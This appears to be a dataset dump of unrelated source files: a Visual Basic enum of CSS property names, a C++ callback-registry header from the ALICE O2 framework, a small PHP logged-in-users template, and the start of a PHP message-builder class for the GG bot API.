''' </summary>
<Description("animation-direction")> animation_direction
''' <summary>
''' animation-duration
''' </summary>
<Description("animation-duration")> animation_duration
''' <summary>
''' animation-iteration-count
''' </summary>
<Description("animation-iteration-count")> animation_iteration_count
''' <summary>
''' animation-name
''' </summary>
<Description("animation-name")> animation_name
''' <summary>
''' animation-play-state
''' </summary>
<Description("animation-play-state")> animation_play_state
''' <summary>
''' animation-timing-function
''' </summary>
<Description("animation-timing-function")> animation_timing_function
''' <summary>
''' appearance
''' </summary>
<Description("appearance")> appearance
''' <summary>
''' azimuth
''' </summary>
<Description("azimuth")> azimuth
''' <summary>
''' backface-visibility
''' </summary>
<Description("backface-visibility")> backface_visibility
''' <summary>
''' background
''' </summary>
<Description("background")> background
''' <summary>
''' background-attachment
''' </summary>
<Description("background-attachment")> background_attachment
''' <summary>
''' background-break
''' </summary>
<Description("background-break")> background_break
''' <summary>
''' background-clip
''' </summary>
<Description("background-clip")> background_clip
''' <summary>
''' background-color
''' </summary>
<Description("background-color")> background_color
''' <summary>
''' background-image
''' </summary>
<Description("background-image")> background_image
''' <summary>
''' background-origin
''' </summary>
<Description("background-origin")> background_origin
''' <summary>
''' background-position
''' </summary>
<Description("background-position")> background_position
''' <summary>
''' background-repeat
''' </summary>
<Description("background-repeat")> background_repeat
''' <summary>
''' background-size
''' </summary>
<Description("background-size")> background_size
''' <summary>
''' baseline-shift
''' </summary>
<Description("baseline-shift")> baseline_shift
''' <summary>
''' binding
''' </summary>
<Description("binding")> binding
''' <summary>
''' bleed
''' </summary>
<Description("bleed")> bleed
''' <summary>
''' bookmark-label
''' </summary>
<Description("bookmark-label")> bookmark_label
''' <summary>
''' bookmark-level
''' </summary>
<Description("bookmark-level")> bookmark_level
''' <summary>
''' bookmark-state
''' </summary>
<Description("bookmark-state")> bookmark_state
''' <summary>
''' bookmark-target
''' </summary>
<Description("bookmark-target")> bookmark_target
''' <summary>
''' border
''' </summary>
<Description("border")> border
''' <summary>
''' border-bottom
''' </summary>
<Description("border-bottom")> border_bottom
''' <summary>
''' border-bottom-color
''' </summary>
<Description("border-bottom-color")> border_bottom_color
''' <summary>
''' border-bottom-left-radius
''' </summary>
<Description("border-bottom-left-radius")> border_bottom_left_radius
''' <summary>
''' border-bottom-right-radius
''' </summary>
<Description("border-bottom-right-radius")> border_bottom_right_radius
''' <summary>
''' border-bottom-style
''' </summary>
<Description("border-bottom-style")> border_bottom_style
''' <summary>
''' border-bottom-width
''' </summary>
<Description("border-bottom-width")> border_bottom_width
''' <summary>
''' border-collapse
''' </summary>
<Description("border-collapse")> border_collapse
''' <summary>
''' border-color
''' </summary>
<Description("border-color")> border_color
''' <summary>
''' border-image
''' </summary>
<Description("border-image")> border_image
''' <summary>
''' border-image-outset
''' </summary>
<Description("border-image-outset")> border_image_outset
''' <summary>
''' border-image-repeat
''' </summary>
<Description("border-image-repeat")> border_image_repeat
''' <summary>
''' border-image-slice
''' </summary>
<Description("border-image-slice")> border_image_slice
''' <summary>
''' border-image-source
''' </summary>
<Description("border-image-source")> border_image_source
''' <summary>
''' border-image-width
''' </summary>
<Description("border-image-width")> border_image_width
''' <summary>
''' border-left
''' </summary>
<Description("border-left")> border_left
''' <summary>
''' border-left-color
''' </summary>
<Description("border-left-color")> border_left_color
''' <summary>
''' border-left-style
''' </summary>
<Description("border-left-style")> border_left_style
''' <summary>
''' border-left-width
''' </summary>
<Description("border-left-width")> border_left_width
''' <summary>
''' border-right
''' </summary>
<Description("border-right")> border_right
''' <summary>
''' border-right-color
''' </summary>
<Description("border-right-color")> border_right_color
''' <summary>
''' border-right-style
''' </summary>
<Description("border-right-style")> border_right_style
''' <summary>
''' border-right-width
''' </summary>
<Description("border-right-width")> border_right_width
''' <summary>
''' border-spacing
''' </summary>
<Description("border-spacing")> border_spacing
''' <summary>
''' border-style
''' </summary>
<Description("border-style")> border_style
''' <summary>
''' border-top
''' </summary>
<Description("border-top")> border_top
''' <summary>
''' border-top-color
''' </summary>
<Description("border-top-color")> border_top_color
''' <summary>
''' border-top-left-radius
''' </summary>
<Description("border-top-left-radius")> border_top_left_radius
''' <summary>
''' border-top-right-radius
''' </summary>
<Description("border-top-right-radius")> border_top_right_radius
''' <summary>
''' border-top-style
''' </summary>
<Description("border-top-style")> border_top_style
''' <summary>
''' border-top-width
''' </summary>
<Description("border-top-width")> border_top_width
''' <summary>
''' border-width
''' </summary>
<Description("border-width")> border_width
''' <summary>
''' bottom
''' </summary>
<Description("bottom")> bottom
''' <summary>
''' box-align
''' </summary>
<Description("box-align")> box_align
''' <summary>
''' box-decoration-break
''' </summary>
<Description("box-decoration-break")> box_decoration_break
''' <summary>
''' box-direction
''' </summary>
<Description("box-direction")> box_direction
''' <summary>
''' box-flex
''' </summary>
<Description("box-flex")> box_flex
''' <summary>
''' box-flex-group
''' </summary>
<Description("box-flex-group")> box_flex_group
''' <summary>
''' box-lines
''' </summary>
<Description("box-lines")> box_lines
''' <summary>
''' box-ordinal-group
''' </summary>
<Description("box-ordinal-group")> box_ordinal_group
''' <summary>
''' box-orient
''' </summary>
<Description("box-orient")> box_orient
''' <summary>
''' box-pack
''' </summary>
<Description("box-pack")> box_pack
''' <summary>
''' box-shadow
''' </summary>
<Description("box-shadow")> box_shadow
''' <summary>
''' box-sizing
''' </summary>
<Description("box-sizing")> box_sizing
''' <summary>
''' break-after
''' </summary>
<Description("break-after")> break_after
''' <summary>
''' break-before
''' </summary>
<Description("break-before")> break_before
''' <summary>
''' break-inside
''' </summary>
<Description("break-inside")> break_inside
''' <summary>
''' caption-side
''' </summary>
<Description("caption-side")> caption_side
''' <summary>
''' clear
''' </summary>
<Description("clear")> clear
''' <summary>
''' clip
''' </summary>
<Description("clip")> clip
''' <summary>
''' color
''' </summary>
<Description("color")> color
''' <summary>
''' color-profile
''' </summary>
<Description("color-profile")> color_profile
''' <summary>
''' column-count
''' </summary>
<Description("column-count")> column_count
''' <summary>
''' column-fill
''' </summary>
<Description("column-fill")> column_fill
''' <summary>
''' column-gap
''' </summary>
<Description("column-gap")> column_gap
''' <summary>
''' column-rule
''' </summary>
<Description("column-rule")> column_rule
''' <summary>
''' column-rule-color
''' </summary>
<Description("column-rule-color")> column_rule_color
''' <summary>
''' column-rule-style
''' </summary>
<Description("column-rule-style")> column_rule_style
''' <summary>
''' column-rule-width
''' </summary>
<Description("column-rule-width")> column_rule_width
''' <summary>
''' column-span
''' </summary>
<Description("column-span")> column_span
''' <summary>
''' column-width
''' </summary>
<Description("column-width")> column_width
''' <summary>
''' columns
''' </summary>
<Description("columns")> columns
''' <summary>
''' content
''' </summary>
<Description("content")> content
''' <summary>
''' counter-increment
''' </summary>
<Description("counter-increment")> counter_increment
''' <summary>
''' counter-reset
''' </summary>
<Description("counter-reset")> counter_reset
''' <summary>
''' crop
''' </summary>
<Description("crop")> crop
''' <summary>
''' cue
''' </summary>
<Description("cue")> cue
''' <summary>
''' cue-after
''' </summary>
<Description("cue-after")> cue_after
''' <summary>
''' cue-before
''' </summary>
<Description("cue-before")> cue_before
''' <summary>
''' cursor
''' </summary>
<Description("cursor")> cursor
''' <summary>
''' direction
''' </summary>
<Description("direction")> direction
''' <summary>
''' display
''' </summary>
<Description("display")> display
''' <summary>
''' dominant-baseline
''' </summary>
<Description("dominant-baseline")> dominant_baseline
''' <summary>
''' drop-initial-after-adjust
''' </summary>
<Description("drop-initial-after-adjust")> drop_initial_after_adjust
''' <summary>
''' drop-initial-after-align
''' </summary>
<Description("drop-initial-after-align")> drop_initial_after_align
''' <summary>
''' drop-initial-before-adjust
''' </summary>
<Description("drop-initial-before-adjust")> drop_initial_before_adjust
''' <summary>
''' drop-initial-before-align
''' </summary>
<Description("drop-initial-before-align")> drop_initial_before_align
''' <summary>
''' drop-initial-size
''' </summary>
<Description("drop-initial-size")> drop_initial_size
''' <summary>
''' drop-initial-value
''' </summary>
<Description("drop-initial-value")> drop_initial_value
''' <summary>
''' elevation
''' </summary>
<Description("elevation")> elevation
''' <summary>
''' empty-cells
''' </summary>
<Description("empty-cells")> empty_cells
''' <summary>
''' filter
''' </summary>
<Description("filter")> filter
''' <summary>
''' fit
''' </summary>
<Description("fit")> fit
''' <summary>
''' fit-position
''' </summary>
<Description("fit-position")> fit_position
''' <summary>
''' float-offset
''' </summary>
<Description("float-offset")> float_offset
''' <summary>
''' font
''' </summary>
<Description("font")> font
''' <summary>
''' font-effect
''' </summary>
<Description("font-effect")> font_effect
''' <summary>
''' font-emphasize
''' </summary>
<Description("font-emphasize")> font_emphasize
''' <summary>
''' font-family
''' </summary>
<Description("font-family")> font_family
''' <summary>
''' font-size
''' </summary>
<Description("font-size")> font_size
''' <summary>
''' font-size-adjust
''' </summary>
<Description("font-size-adjust")> font_size_adjust
''' <summary>
''' font-stretch
''' </summary>
<Description("font-stretch")> font_stretch
''' <summary>
''' font-style
''' </summary>
<Description("font-style")> font_style
''' <summary>
''' font-variant
''' </summary>
<Description("font-variant")> font_variant
''' <summary>
''' grid-columns
''' </summary>
<Description("grid-columns")> grid_columns
''' <summary>
''' grid-rows
''' </summary>
<Description("grid-rows")> grid_rows
''' <summary>
''' hanging-punctuation
''' </summary>
<Description("hanging-punctuation")> hanging_punctuation
''' <summary>
''' height
''' </summary>
<Description("height")> height
''' <summary>
''' hyphenate-after
''' </summary>
<Description("hyphenate-after")> hyphenate_after
''' <summary>
''' hyphenate-before
''' </summary>
<Description("hyphenate-before")> hyphenate_before
''' <summary>
''' hyphenate-character
''' </summary>
<Description("hyphenate-character")> hyphenate_character
''' <summary>
''' hyphenate-lines
''' </summary>
<Description("hyphenate-lines")> hyphenate_lines
''' <summary>
''' hyphenate-resource
''' </summary>
<Description("hyphenate-resource")> hyphenate_resource
''' <summary>
''' hyphens
''' </summary>
<Description("hyphens")> hyphens
''' <summary>
''' icon
''' </summary>
<Description("icon")> icon
''' <summary>
''' image-orientation
''' </summary>
<Description("image-orientation")> image_orientation
''' <summary>
''' image-rendering
''' </summary>
<Description("image-rendering")> image_rendering
''' <summary>
''' image-resolution
''' </summary>
<Description("image-resolution")> image_resolution
''' <summary>
''' inline-box-align
''' </summary>
<Description("inline-box-align")> inline_box_align
''' <summary>
''' left
''' </summary>
<Description("left")> left
''' <summary>
''' letter-spacing
''' </summary>
<Description("letter-spacing")> letter_spacing
''' <summary>
''' line-height
''' </summary>
<Description("line-height")> line_height
''' <summary>
''' line-stacking
''' </summary>
<Description("line-stacking")> line_stacking
''' <summary>
''' line-stacking-ruby
''' </summary>
<Description("line-stacking-ruby")> line_stacking_ruby
''' <summary>
''' line-stacking-shift
''' </summary>
<Description("line-stacking-shift")> line_stacking_shift
''' <summary>
''' line-stacking-strategy
''' </summary>
<Description("line-stacking-strategy")> line_stacking_strategy
''' <summary>
''' list-style
''' </summary>
<Description("list-style")> list_style
''' <summary>
''' list-style-image
''' </summary>
<Description("list-style-image")> list_style_image
''' <summary>
''' list-style-position
''' </summary>
<Description("list-style-position")> list_style_position
''' <summary>
''' list-style-type
''' </summary>
<Description("list-style-type")> list_style_type
''' <summary>
''' margin
''' </summary>
<Description("margin")> margin
''' <summary>
''' margin-bottom
''' </summary>
<Description("margin-bottom")> margin_bottom
''' <summary>
''' margin-left
''' </summary>
<Description("margin-left")> margin_left
''' <summary>
''' margin-right
''' </summary>
<Description("margin-right")> margin_right
''' <summary>
''' margin-top
''' </summary>
<Description("margin-top")> margin_top
''' <summary>
''' mark
''' </summary>
<Description("mark")> mark
''' <summary>
''' mark-after
''' </summary>
<Description("mark-after")> mark_after
''' <summary>
''' mark-before
''' </summary>
<Description("mark-before")> mark_before
''' <summary>
''' marker-offset
''' </summary>
<Description("marker-offset")> marker_offset
''' <summary>
''' marks
''' </summary>
<Description("marks")> marks
''' <summary>
''' marquee-direction
''' </summary>
<Description("marquee-direction")> marquee_direction
''' <summary>
''' marquee-play-count
''' </summary>
<Description("marquee-play-count")> marquee_play_count
''' <summary>
''' marquee-speed
''' </summary>
<Description("marquee-speed")> marquee_speed
''' <summary>
''' marquee-style
''' </summary>
<Description("marquee-style")> marquee_style
''' <summary>
''' max-height
''' </summary>
<Description("max-height")> max_height
''' <summary>
''' max-width
''' </summary>
<Description("max-width")> max_width
''' <summary>
''' min-height
''' </summary>
<Description("min-height")> min_height
''' <summary>
''' min-width
''' </summary>
<Description("min-width")> min_width
''' <summary>
''' move-to
''' </summary>
<Description("move-to")> move_to
''' <summary>
''' nav-down
''' </summary>
<Description("nav-down")> nav_down
''' <summary>
''' nav-index
''' </summary>
<Description("nav-index")> nav_index
''' <summary>
''' nav-left
''' </summary>
<Description("nav-left")> nav_left
''' <summary>
''' nav-right
''' </summary>
<Description("nav-right")> nav_right
''' <summary>
''' nav-up
''' </summary>
<Description("nav-up")> nav_up
''' <summary>
''' opacity
''' </summary>
<Description("opacity")> opacity
''' <summary>
''' orphans
''' </summary>
<Description("orphans")> orphans
''' <summary>
''' outline
''' </summary>
<Description("outline")> outline
''' <summary>
''' outline-color
''' </summary>
<Description("outline-color")> outline_color
''' <summary>
''' outline-offset
''' </summary>
<Description("outline-offset")> outline_offset
''' <summary>
''' outline-style
''' </summary>
<Description("outline-style")> outline_style
''' <summary>
''' outline-width
''' </summary>
<Description("outline-width")> outline_width
''' <summary>
''' overflow
''' </summary>
<Description("overflow")> overflow
''' <summary>
''' overflow-style
''' </summary>
<Description("overflow-style")> overflow_style
''' <summary>
''' overflow-x
''' </summary>
<Description("overflow-x")> overflow_x
''' <summary>
''' overflow-y
''' </summary>
<Description("overflow-y")> overflow_y
''' <summary>
''' padding
''' </summary>
<Description("padding")> padding
''' <summary>
''' padding-bottom
''' </summary>
<Description("padding-bottom")> padding_bottom
''' <summary>
''' padding-left
''' </summary>
<Description("padding-left")> padding_left
''' <summary>
''' padding-right
''' </summary>
<Description("padding-right")> padding_right
''' <summary>
''' padding-top
''' </summary>
<Description("padding-top")> padding_top
''' <summary>
''' page
''' </summary>
<Description("page")> page
''' <summary>
''' page-break-after
''' </summary>
<Description("page-break-after")> page_break_after
''' <summary>
''' page-break-before
''' </summary>
<Description("page-break-before")> page_break_before
''' <summary>
''' page-break-inside
''' </summary>
<Description("page-break-inside")> page_break_inside
''' <summary>
''' page-policy
''' </summary>
<Description("page-policy")> page_policy
''' <summary>
''' pause
''' </summary>
<Description("pause")> pause
''' <summary>
''' pause-after
''' </summary>
<Description("pause-after")> pause_after
''' <summary>
''' pause-before
''' </summary>
<Description("pause-before")> pause_before
''' <summary>
''' perspective
''' </summary>
<Description("perspective")> perspective
''' <summary>
''' perspective-origin
''' </summary>
<Description("perspective-origin")> perspective_origin
''' <summary>
''' phonemes
''' </summary>
<Description("phonemes")> phonemes
''' <summary>
''' pitch
''' </summary>
<Description("pitch")> pitch
''' <summary>
''' pitch-range
''' </summary>
<Description("pitch-range")> pitch_range
''' <summary>
''' play-during
''' </summary>
<Description("play-during")> play_during
''' <summary>
''' position
''' </summary>
<Description("position")> position
''' <summary>
''' presentation-level
''' </summary>
<Description("presentation-level")> presentation_level
''' <summary>
''' punctuation-trim
''' </summary>
<Description("punctuation-trim")> punctuation_trim
''' <summary>
''' quotes
''' </summary>
<Description("quotes")> quotes
''' <summary>
''' rendering-intent
''' </summary>
<Description("rendering-intent")> rendering_intent
''' <summary>
''' resize
''' </summary>
<Description("resize")> resize
''' <summary>
''' rest
''' </summary>
<Description("rest")> rest
''' <summary>
''' rest-after
''' </summary>
<Description("rest-after")> rest_after
''' <summary>
''' rest-before
''' </summary>
<Description("rest-before")> rest_before
''' <summary>
''' richness
''' </summary>
<Description("richness")> richness
''' <summary>
''' right
''' </summary>
<Description("right")> right
''' <summary>
''' rotation
''' </summary>
<Description("rotation")> rotation
''' <summary>
''' rotation-point
''' </summary>
<Description("rotation-point")> rotation_point
''' <summary>
''' ruby-align
''' </summary>
<Description("ruby-align")> ruby_align
''' <summary>
''' ruby-overhang
''' </summary>
<Description("ruby-overhang")> ruby_overhang
''' <summary>
''' ruby-position
''' </summary>
<Description("ruby-position")> ruby_position
''' <summary>
''' ruby-span
''' </summary>
<Description("ruby-span")> ruby_span
''' <summary>
''' size
''' </summary>
<Description("size")> size
''' <summary>
''' speak
''' </summary>
<Description("speak")> speak
''' <summary>
''' speak-header
''' </summary>
<Description("speak-header")> speak_header
''' <summary>
''' speak-numeral
''' </summary>
<Description("speak-numeral")> speak_numeral
''' <summary>
''' speak-punctuation
''' </summary>
<Description("speak-punctuation")> speak_punctuation
''' <summary>
''' speech-rate
''' </summary>
<Description("speech-rate")> speech_rate
''' <summary>
''' stress
''' </summary>
<Description("stress")> stress
''' <summary>
''' string-set
''' </summary>
<Description("string-set")> string_set
''' <summary>
''' table-layout
''' </summary>
<Description("table-layout")> table_layout
''' <summary>
''' target
''' </summary>
<Description("target")> target
''' <summary>
''' target-name
''' </summary>
<Description("target-name")> target_name
''' <summary>
''' target-new
''' </summary>
<Description("target-new")> target_new
''' <summary>
''' target-position
''' </summary>
<Description("target-position")> target_position
''' <summary>
''' text-align
''' </summary>
<Description("text-align")> text_align
''' <summary>
''' text-align-last
''' </summary>
<Description("text-align-last")> text_align_last
''' <summary>
''' text-decoration
''' </summary>
<Description("text-decoration")> text_decoration
''' <summary>
''' text-emphasis
''' </summary>
<Description("text-emphasis")> text_emphasis
''' <summary>
''' text-height
''' </summary>
<Description("text-height")> text_height
''' <summary>
''' text-indent
''' </summary>
<Description("text-indent")> text_indent
''' <summary>
''' text-justify
''' </summary>
<Description("text-justify")> text_justify
''' <summary>
''' text-outline
''' </summary>
<Description("text-outline")> text_outline
''' <summary>
''' text-overflow
''' </summary>
<Description("text-overflow")> text_overflow
''' <summary>
''' text-shadow
''' </summary>
<Description("text-shadow")> text_shadow
''' <summary>
''' text-transform
''' </summary>
<Description("text-transform")> text_transform
''' <summary>
''' text-wrap
''' </summary>
<Description("text-wrap")> text_wrap
''' <summary>
''' top
''' </summary>
<Description("top")> top
''' <summary>
''' transform
''' </summary>
<Description("transform")> transform
''' <summary>
''' transform-origin
''' </summary>
<Description("transform-origin")> transform_origin
''' <summary>
''' transform-style
''' </summary>
<Description("transform-style")> transform_style
''' <summary>
''' transition
''' </summary>
<Description("transition")> transition
''' <summary>
''' transition-delay
''' </summary>
<Description("transition-delay")> transition_delay
''' <summary>
''' transition-duration
''' </summary>
<Description("transition-duration")> transition_duration
''' <summary>
''' transition-property
''' </summary>
<Description("transition-property")> transition_property
''' <summary>
''' transition-timing-function
''' </summary>
<Description("transition-timing-function")> transition_timing_function
''' <summary>
''' unicode-bidi
''' </summary>
<Description("unicode-bidi")> unicode_bidi
''' <summary>
''' vertical-align
''' </summary>
<Description("vertical-align")> vertical_align
''' <summary>
''' visibility
''' </summary>
<Description("visibility")> visibility
''' <summary>
''' voice-balance
''' </summary>
<Description("voice-balance")> voice_balance
''' <summary>
''' voice-duration
''' </summary>
<Description("voice-duration")> voice_duration
''' <summary>
''' voice-family
''' </summary>
<Description("voice-family")> voice_family
''' <summary>
''' voice-pitch
''' </summary>
<Description("voice-pitch")> voice_pitch
''' <summary>
''' voice-pitch-range
''' </summary>
<Description("voice-pitch-range")> voice_pitch_range
''' <summary>
''' voice-rate
''' </summary>
<Description("voice-rate")> voice_rate
''' <summary>
''' voice-stress
''' </summary>
<Description("voice-stress")> voice_stress
''' <summary>
''' voice-volume
''' </summary>
<Description("voice-volume")> voice_volume
''' <summary>
''' volume
''' </summary>
<Description("volume")> volume
''' <summary>
''' white-space
''' </summary>
<Description("white-space")> white_space
''' <summary>
''' white-space-collapse
''' </summary>
<Description("white-space-collapse")> white_space_collapse
''' <summary>
''' widows
''' </summary>
<Description("widows")> widows
''' <summary>
''' width
''' </summary>
<Description("width")> width
''' <summary>
''' word-break
''' </summary>
<Description("word-break")> word_break
''' <summary>
''' word-spacing
''' </summary>
<Description("word-spacing")> word_spacing
''' <summary>
''' word-wrap
''' </summary>
<Description("word-wrap")> word_wrap
''' <summary>
''' fixed
''' </summary>
<Description("fixed")> fixed
''' <summary>
''' linear-gradient
''' </summary>
<Description("linear-gradient")> linear_gradient
''' <summary>
''' color-dodge
''' </summary>
<Description("color-dodge")> color_dodge
''' <summary>
''' center
''' </summary>
<Description("center")> center
''' <summary>
''' content-box
''' </summary>
<Description("content-box")> content_box
''' <summary>
''' -webkit-flex
''' </summary>
<Description("-webkit-flex")> _webkit_flex
''' <summary>
''' flex
''' </summary>
<Description("flex")> flex
''' <summary>
''' row-reverse
''' </summary>
<Description("row-reverse")> row_reverse
''' <summary>
''' space-around
''' </summary>
<Description("space-around")> space_around
''' <summary>
''' first
''' </summary>
<Description("first")> first
''' <summary>
''' justify
''' </summary>
<Description("justify")> justify
''' <summary>
''' inter-word
''' </summary>
<Description("inter-word")> inter_word
''' <summary>
''' uppercase
''' </summary>
<Description("uppercase")> uppercase
''' <summary>
''' lowercase
''' </summary>
<Description("lowercase")> lowercase
''' <summary>
''' capitalize
''' </summary>
<Description("capitalize")> capitalize
''' <summary>
''' nowrap
''' </summary>
<Description("nowrap")> nowrap
''' <summary>
''' break-all
''' </summary>
<Description("break-all")> break_all
''' <summary>
''' break-word
''' </summary>
<Description("break-word")> break_word
''' <summary>
''' overline
''' </summary>
<Description("overline")> overline
''' <summary>
''' line-through
''' </summary>
<Description("line-through")> line_through
''' <summary>
''' wavy
''' </summary>
<Description("wavy")> wavy
''' <summary>
''' myFirstFont
''' </summary>
<Description("myFirstFont")> myFirstFont
''' <summary>
''' sensation
''' </summary>
<Description("sensation")> sensation
End Enum
| Java |
// Copyright CERN and copyright holders of ALICE O2. This software is
// distributed under the terms of the GNU General Public License v3 (GPL
// Version 3), copied verbatim in the file "COPYING".
//
// See http://alice-o2.web.cern.ch/license for full licensing information.
//
// In applying this license CERN does not waive the privileges and immunities
// granted to it by virtue of its status as an Intergovernmental Organization
// or submit itself to any jurisdiction.
#ifndef FRAMEWORK_CALLBACKREGISTRY_H
#define FRAMEWORK_CALLBACKREGISTRY_H
/// @file CallbackRegistry.h
/// @author Matthias Richter
/// @since 2018-04-26
/// @brief A generic registry for callbacks
#include "Framework/TypeTraits.h"
#include <tuple>
#include <stdexcept> // runtime_error
#include <utility> // declval
namespace o2
{
namespace framework
{
template <typename KeyT, KeyT _id, typename CallbackT>
struct RegistryPair {
using id = std::integral_constant<KeyT, _id>;
using type = CallbackT;
type callback;
};
template <typename CallbackId, typename... Args>
class CallbackRegistry
{
public:
// FIXME:
// - add more checks
// - recursive check of the argument pack
// - required to be of type RegistryPair
// - callback type is specialization of std::function
// - extend to variable return type
static constexpr std::size_t size = sizeof...(Args);
// set callback for slot
template <typename U>
void set(CallbackId id, U&& cb)
{
set<size>(id, cb);
}
// execute callback at specified slot with argument pack
template <typename... TArgs>
auto operator()(CallbackId id, TArgs&&... args)
{
exec<size>(id, std::forward<TArgs>(args)...);
}
private:
// helper trait to check whether class has a constructor taking callback as argument
template <class T, typename CB>
struct has_matching_callback {
template <class U, typename V>
static int check(decltype(U(std::declval<V>()))*);
template <typename U, typename V>
static char check(...);
static const bool value = sizeof(check<T, CB>(nullptr)) == sizeof(int);
};
// set the callback function of the specified id
// this iterates over defined slots and sets the matching callback
template <std::size_t pos, typename U>
typename std::enable_if<pos != 0>::type set(CallbackId id, U&& cb)
{
if (std::tuple_element<pos - 1, decltype(mStore)>::type::id::value != id) {
return set<pos - 1>(id, cb);
}
// note: there are two substitutions, the one for callback matching the slot type sets the
// callback, while the other substitution should never be called
setAt<pos - 1, typename std::tuple_element<pos - 1, decltype(mStore)>::type::type>(cb);
}
// termination of the recursive loop
template <std::size_t pos, typename U>
typename std::enable_if<pos == 0>::type set(CallbackId id, U&& cb)
{
}
// set the callback at specified slot position
template <std::size_t pos, typename U, typename F>
typename std::enable_if<has_matching_callback<U, F>::value == true>::type setAt(F&& cb)
{
// create a new std::function object and init with the callback function
std::get<pos>(mStore).callback = (U)(cb);
}
// substitution for not matching callback
template <std::size_t pos, typename U, typename F>
typename std::enable_if<has_matching_callback<U, F>::value == false>::type setAt(F&& cb)
{
throw std::runtime_error("mismatch in function substitution at position " + std::to_string(pos));
}
// exec callback of specified id
template <std::size_t pos, typename... TArgs>
typename std::enable_if<pos != 0>::type exec(CallbackId id, TArgs&&... args)
{
if (std::tuple_element<pos - 1, decltype(mStore)>::type::id::value != id) {
return exec<pos - 1>(id, std::forward<TArgs>(args)...);
}
// build a callable function type from the result type of the slot and the
// argument pack, this is used to selcet the matching substitution
using FunT = typename std::tuple_element<pos - 1, decltype(mStore)>::type::type;
using ResT = typename FunT::result_type;
using CheckT = std::function<ResT(TArgs...)>;
FunT& fct = std::get<pos - 1>(mStore).callback;
auto& storedTypeId = fct.target_type();
execAt<pos - 1, FunT, CheckT>(std::forward<TArgs>(args)...);
}
// termination of the recursive loop
template <std::size_t pos, typename... TArgs>
typename std::enable_if<pos == 0>::type exec(CallbackId id, TArgs&&... args)
{
}
// exec callback at specified slot
template <std::size_t pos, typename U, typename V, typename... TArgs>
typename std::enable_if<std::is_same<U, V>::value == true>::type execAt(TArgs&&... args)
{
if (std::get<pos>(mStore).callback) {
std::get<pos>(mStore).callback(std::forward<TArgs>(args)...);
}
}
// substitution for not matching argument pack
template <std::size_t pos, typename U, typename V, typename... TArgs>
typename std::enable_if<std::is_same<U, V>::value == false>::type execAt(TArgs&&... args)
{
}
// store of RegistryPairs
std::tuple<Args...> mStore;
};
} // namespace framework
} // namespace o2
#endif // FRAMEWORK_CALLBACKREGISTRY_H
| Java |
<b>Users Currently Logged In</b>
<ul>
<?php if (!empty($currentUsers)):foreach($currentUsers as $u):?>
<li>
<?php echo $u->getFullName();?>
</li>
<?php endforeach;endif;?>
</ul>
| Java |
<?php
/*******
Biblioteka implementująca BotAPI GG http://boty.gg.pl/
Copyright (C) 2013 GG Network S.A. Marcin Bagiński <[email protected]>
This library is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with this program. If not, see<http://www.gnu.org/licenses/>.
*******/
require_once(dirname(__FILE__).'/PushConnection.php');
define ('FORMAT_NONE', 0x00);
define ('FORMAT_BOLD_TEXT', 0x01);
define ('FORMAT_ITALIC_TEXT', 0x02);
define ('FORMAT_UNDERLINE_TEXT', 0x04);
define ('FORMAT_NEW_LINE', 0x08);
define ('IMG_FILE', true);
define ('IMG_RAW', false);
define('BOTAPI_VERSION', 'GGBotApi-2.4-PHP');
require_once(dirname(__FILE__).'/PushConnection.php');
/**
* @brief Reprezentacja wiadomości
*/
class MessageBuilder
{
/**
* Tablica numerów GG do których ma trafić wiadomość
*/
public $recipientNumbers=array();
/**
* Określa czy wiadomość zostanie wysłana do numerów będących offline, domyślnie true
*/
public $sendToOffline=true;
public $html='';
public $text='';
public $format='';
public $R=0;
public $G=0;
public $B=0;
/**
* Konstruktor MessageBuilder
*/
public function __construct()
{
}
/**
* Czyści całą wiadomość
*/
public function clear()
{
$this->recipientNumbers=array();
$this->sendToOffline=true;
$this->html='';
$this->text='';
$this->format='';
$this->R=0;
$this->G=0;
$this->B=0;
}
/**
* Dodaje tekst do wiadomości
*
* @param string $text tekst do wysłania
* @param int $formatBits styl wiadomości (FORMAT_BOLD_TEXT, FORMAT_ITALIC_TEXT, FORMAT_UNDERLINE_TEXT), domyślnie brak
* @param int $R, $G, $B składowe koloru tekstu w formacie RGB
*
* @return MessageBuilder this
*/
public function addText($text, $formatBits=FORMAT_NONE, $R=0, $G=0, $B=0)
{
if ($formatBits & FORMAT_NEW_LINE)
$text.="\r\n";
$text=str_replace("\r\r", "\r", str_replace("\n", "\r\n", $text));
$html=str_replace("\r\n", '<br>', htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'));
if ($this->format!==NULL) {
$this->format.=pack(
'vC',
mb_strlen($this->text, 'UTF-8'),
(($formatBits & FORMAT_BOLD_TEXT)) |
(($formatBits & FORMAT_ITALIC_TEXT)) |
(($formatBits & FORMAT_UNDERLINE_TEXT)) |
((1 || $R!=$this->R || $G!=$this->G || $B!=$this->B) * 0x08)
);
$this->format.=pack('CCC', $R, $G, $B);
$this->R=$R;
$this->G=$G;
$this->B=$B;
$this->text.=$text;
}
if ($R || $G || $B) $html='<span style="color:#'.str_pad(dechex($R), 2, '0', STR_PAD_LEFT).str_pad(dechex($G), 2, '0', STR_PAD_LEFT).str_pad(dechex($B), 2, '0', STR_PAD_LEFT).';">'.$html.'</span>';
if ($formatBits & FORMAT_BOLD_TEXT) $html='<b>'.$html.'</b>';
if ($formatBits & FORMAT_ITALIC_TEXT) $html='<i>'.$html.'</i>';
if ($formatBits & FORMAT_UNDERLINE_TEXT) $html='<u>'.$html.'</u>';
$this->html.=$html;
return $this;
}
/**
* Dodaje tekst do wiadomości
*
* @param string $text tekst do wysłania w formacie BBCode
*
* @return MessageBuilder this
*/
public function addBBcode($bbcode)
{
$tagsLength=0;
$heap=array();
$start=0;
$bbcode=str_replace('[br]', "\n", $bbcode);
while (preg_match('/\[(\/)?(b|i|u|color)(=#?[0-9a-fA-F]{6})?\]/', $bbcode, $out, PREG_OFFSET_CAPTURE, $start)) {
$s=substr($bbcode, $start, $out[0][1]-$start);
$c=array(0, 0, 0);
if (strlen($s)) {
$flags=0;
$c=array(0, 0, 0);
foreach ($heap as $h) {
switch ($h[0]) {
case 'b': { $flags|=0x01; break; }
case 'i': { $flags|=0x02; break; }
case 'u': { $flags|=0x04; break; }
case 'color': { $c=$h[1]; break; }
}
}
